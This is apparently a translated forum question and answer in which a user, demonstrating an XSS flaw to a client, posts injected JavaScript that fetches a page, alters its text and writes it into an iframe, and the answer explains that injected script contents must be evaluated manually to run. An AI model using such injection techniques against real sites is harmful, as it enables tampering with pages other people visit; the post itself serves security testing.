作为XSS漏洞的一部分,我试图向客户展示,我正在尝试注入一些将会
的JavaScript以下是我的代码:
<script>
function getSource()
{
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var content=xmlhttp.responseText;
content = content.replace(/hey/gi, "howdy");
var ifrm = document.getElementById('myIframe');
ifrm = (ifrm.contentWindow) ? ifrm.contentWindow : (ifrm.contentDocument.document) ? ifrm.contentDocument.document : ifrm.contentDocument;
ifrm.document.open();
ifrm.document.write(content);
ifrm.document.close();
}
}
xmlhttp.open("GET","http://www.site.com/pagetopull.html",true);
xmlhttp.send();
}
</script>
<button onclick="getSource();">click</button>
<iframe id="myIframe"></iframe>
如果我将此代码包装在html标签中,然后将其放入自己的页面并单击,则代码将完美执行,并且检索到的页面将显示在iframe中。但是,当我将此代码注入我的测试表面时,会出现iframe,但点击不会执行该功能并检索所需的网页。我正在从同一个域中检索一个页面,因此它没有违反相同的原始策略(据我所知)。谁能告诉我我做错了什么?非常感谢。
答案 0 :(得分:1)
这是因为默认情况下会忽略SCRIPT标记的内容。您必须遍历SCRIPT对象的结果HTML数据的DOM树,并手动eval
其内容。